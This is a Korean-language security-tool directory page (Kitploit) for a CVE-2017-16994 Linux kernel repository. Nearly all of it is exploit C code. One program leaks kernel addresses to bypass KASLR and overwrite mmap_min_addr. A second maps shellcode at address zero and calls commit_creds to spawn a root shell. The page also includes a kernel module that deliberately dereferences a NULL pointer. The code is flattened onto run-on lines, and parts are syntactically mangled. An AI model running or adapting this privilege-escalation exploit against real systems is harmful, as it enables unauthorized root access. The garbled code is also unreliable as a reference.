Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-16994 | Kitploit
도구/GitHubGitHub/jedai47/cve-2017-16994
Privilege EscalationMemory ForensicsExploitationShellcodeBinary Exploitation
GitHubjedai47/cve-2017-16994

CVE-2017-16994

저장소 보기
2년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

/** disable_map_min_add.c */ / * */

#include <stdio.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <stdlib.h> #include <sys/resource.h> #include <syscall.h>

/* 오프셋은 다를 수 있으며, 커널은 사용자 정의 컴파일되었습니다.

  • 테스트 시 vmlinux를 읽고 오프셋을 계산할 수 있습니다. */

/* #define OFFSET_KERNEL_BASE 0x000000 */ #define MMAP_MIN_ADDR 0x1101de8 #define DAC_MMAP_MIN_ADDR 0xe8e810

/* /proc/kallsyms를 읽어 커널 함수 주소를 가져옵니다 */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret = 0;

f = fopen("/proc/kallsyms", "r"); if (f == NULL) { printf("[-] /proc/kallsyms를 열지 못했습니다\n"); exit(-1); } printf("[+] %s 찾는 중...\n", name); while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); printf("[+] %s를 %lx에서 찾았습니다\n", name, addr); return addr; } } fclose(f); return 0; }

int main(void) { int pid, pid2, pid3; struct rusage rusage = { }; unsigned long *p, *kernel_base; char *mmap_min_addr, dac_mmap_min_addr; pid = fork(); if (pid > 0) { / /proc/kallsyms를 읽을 수 없을 때 KASLR을 우회하려고 시도 */ syscall(__NR_waitid, P_PID, pid, NULL, WEXITED|WNOHANG|__WNOTHREAD, &rusage); printf("[+] 누출 크기=%d 바이트\n", sizeof(rusage)); for (p = (unsigned long *)&rusage; p < (unsigned long *)((char *)&rusage + sizeof(rusage)); p++) { printf("[+] 누출 지점: %p\n", p); if (*p > 0xffffffff00000000 && *p < 0xffffffffff000000) { p = (unsigned long )(p&0xffffffffff000000 /+ OFFSET_TO_BASE/); // spender의 코드는 KASLR이 활성화된 경우 실제로 작동하지 않음 break; } } if(p < (unsigned long *)0xffffffff00000000 || p > (unsigned long *)0xffffffffff000000) exit(-1); } else if (pid == 0) { sleep(1); exit(0); }

kernel_base = get_kernel_sym("startup_64"); printf("[+] 커널 베이스 주소: %p\n", kernel_base); mmap_min_addr = (char *)kernel_base + MMAP_MIN_ADDR; printf("[+] mmap_min_addr: %p\n", mmap_min_addr); dac_mmap_min_addr = (char *)kernel_base + DAC_MMAP_MIN_ADDR; printf("[+] dac_mmap_min_addr: %p\n", dac_mmap_min_addr);

pid2 = fork(); if (pid2 > 0) { printf("[+] map_min_addr 덮어쓰는 중...\n"); if (syscall(__NR_waitid, P_PID, pid, (siginfo_t *)(mmap_min_addr - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) { printf("[-] 실패!\n"); exit(1); } } else if (pid2 == 0) { sleep(1); exit(0); }

pid3 = fork(); if (pid3 > 0) { printf("[+] dac_mmap_min_addr 덮어쓰는 중...\n"); if (syscall(__NR_waitid, P_PID, pid, (siginfo_t )(dac_mmap_min_addr - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) { printf("[-] 실패!\n"); exit(1); } printf("[+] map_min_addr 비활성화됨!\n"); exit(0); } else if (pid3 == 0) { sleep(1); exit(0); } return 0; } /* disable_map_min_add.c EOF **/

/** null_poiter_exploit.c **/

#define _GNU_SOURCE

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mman.h> #include <string.h> #include <unistd.h> #include <unistd.h> #include <fcntl.h>

struct cred; struct task_struct;

typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) attribute((regparm(3))); typedef int (*commit_creds_t) (struct cred *new) attribute((regparm(3)));

prepare_kernel_cred_t prepare_kernel_cred; commit_creds_t commit_creds;

/* 커널 널 포인터 역참조는 권한 상승에 도움이 됩니다.

  • /proc/test는 테스트용으로 로드된 커널 모듈입니다.

  • touch_null_kp는 자신의 구현으로 대체하여

  • 커널 널 포인터를 트리거할 수 있습니다. */ void touch_null_kp() { printf("[+]커널 널 포인트 터치 시작\n");

    int *f = open("/proc/test", O_RDONLY); read(f, NULL, 0); }

/* 루트 획득 후 쉘 실행 */ void get_shell() { char *argv[] = {"/bin/sh", NULL};

if (getuid() == 0){ printf("[+] 루트 쉘 성공 !! :)\n"); execve("/bin/sh", argv, NULL); } printf("[-] 루트 쉘 획득 실패 :(\n"); }

/* 권한 상승에 사용 */ void get_root() { commit_creds(prepare_kernel_cred(0)); }

/* /proc/kallsyms를 읽어 함수 주소를 가져옵니다 */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret = 0;

f = fopen("/proc/kallsyms", "r"); if (f == NULL) { printf("[-] /proc/kallsyms를 열지 못했습니다\n"); exit(-1); } printf("[+] %s 찾는 중...\n", name); while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); printf("[+] %s를 %lx에서 찾았습니다\n", name, addr); return addr; } } fclose(f); return 0; }

int main(int ac, char **av) {

/* 함수 주소 가져오기 */ prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred"); commit_creds = (commit_creds_t)get_kernel_sym("commit_creds"); printf("commit_creds:%p, prepare_kernel_cred:%p\n", commit_creds, prepare_kernel_cred);

/* 0x00 위치에 메모리 할당 */ printf("[+] 0x00000000 할당 시도...\n"); if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char )-1){ printf("[-] 0x00000000 할당 실패\n"); return -1; } printf("[+] 할당 성공!\n"); / memset(0, 0xcc, 4096); / / //movq rax, 0xffffffff81f3f45a //movq [rax], 0 // 필요하지 않음 mov rax, 0x4242424242424242 call rax xor rax, rax ret 0x4242424242424242를 get_root로 대체 https://defuse.ca/online-x86-assembler.htm#disassembly */

unsigned char shellcode[] = { /*0x48, 0xC7, 0xC0, 0x5A, 0xF4, 0xF3, 0x81, //0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00,/ 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 }; / getroot 주소를 쉘코드에 삽입 */ void **get_root_offset = rawmemchr(shellcode, 0x42); (get_root_offset) = get_root; / 쉘코드를 0x00에 매핑 */ memcpy(0, shellcode, sizeof(shellcode));

/* 0x00으로 점프 */ touch_null_kp();

get_shell();

}

/** null_poiter_exploit.c EOF **/

/** test.c **/ #include <linux/init.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/uaccess.h> #include <linux/slab.h> #include <asm/ptrace.h> #include <asm/thread_info.h>

#define MY_DEV_NAME "test" #define DEBUG_FLAG "PROC_DEV"

extern unsigned long proc_test_sp_print; static ssize_t proc_read (struct file *proc_file, char __user *proc_user, size_t n, loff_t *loff); static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff); static int proc_open (struct inode *proc_inode, struct file *proc_file); static struct file_operations a = { .open = proc_open, .read = proc_read, .write = proc_write, };

static int __init mod_init(void) { struct proc_dir_entry *test_entry; const struct file_operations *proc_fops = &a; printk(DEBUG_FLAG":프로시니셜 시작\n");

root@kitploit:~
test_entry = proc_create(MY_DEV_NAME, S_IRUGO|S_IWUGO, NULL, proc_fops);
if(!test_entry)
   printk(DEBUG_FLAG":문제가 발생했습니다!\n");

printk(DEBUG_FLAG":프로시니셜 종료!\n");
return 0;

}

static ssize_t proc_read (struct file *proc_file, char *proc_user, size_t n, loff_t *loff) { void (*fun)(void); fun = NULL; //printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack); fun(); //printk("The memory of %p : %d\n", proc_user, *proc_user); return 0; }

static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff) { printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack); return 0; }

int proc_open (struct inode *proc_inode, struct file *proc_file) { printk(DEBUG_FLAG":오픈 진입, cmdline:%s!\n", current->comm); printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack); return 0; }

module_init(mod_init); /** test.c EOF **/

도구 다운로드